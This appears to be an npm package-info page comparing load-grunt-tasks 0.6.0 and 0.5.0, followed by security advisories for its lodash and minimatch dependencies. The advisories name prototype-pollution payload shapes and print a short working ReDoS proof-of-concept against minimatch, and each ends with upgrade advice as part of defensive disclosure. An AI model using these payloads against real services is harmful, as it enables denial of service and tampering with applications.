Load-grunt-tasks simplifies Grunt configuration by automatically loading multiple grunt tasks defined in your package.json file. This eliminates the need to manually load each task individually, streamlining your workflow and enhancing readability. Version 0.6.0 and 0.5.0 offer this core functionality but have some notable differences.
A key contrast lies in the dependencies. Version 0.6.0 updates the multimatch dependency from version 0.2.0 to version 0.3.0. This seemingly minor change could introduce improvements in pattern matching or bug fixes within the multimatch library itself which developers should consider for compatibility and stability. Importantly, both versions share the same findup-sync dependency and development dependencies such as Grunt and grunt-svgmin.
Both packages are available under the MIT license and maintained by Sindre Sorhus, ensuring a permissive usage and contribution environment. The packages are hosted on GitHub, so collaboration and issue reporting are streamlined. The dist property provides the download URLs to the npm registry, simplifying package acquisition. The release dates indicate that v0.6.0 was released shortly after v0.5.0, suggesting a focus on rapid iteration. For Grunt users, load-grunt-tasks is essential for managing task dependencies efficiently, especially when dealing with numerous Grunt tasks, and keeping track of dependency updates like the one from multimatch 0.2.0 to 0.3.0.
All the vulnerabilities related to the version 0.6.0 of the package
Command Injection in lodash
lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
Prototype Pollution in lodash
Versions of lodash before 4.17.11 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.
Update to version 4.17.11 or later.
Prototype Pollution in lodash
Versions of lodash before 4.17.5 are vulnerable to prototype pollution.
The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via __proto__ causing the addition or modification of an existing property that will exist on all objects.
Update to version 4.17.5 or later.
Prototype Pollution in lodash
Versions of lodash before 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep allows a malicious user to modify the prototype of Object via {constructor: {prototype: {...}}} causing the addition or modification of an existing property that will exist on all objects.
Update to version 4.17.12 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.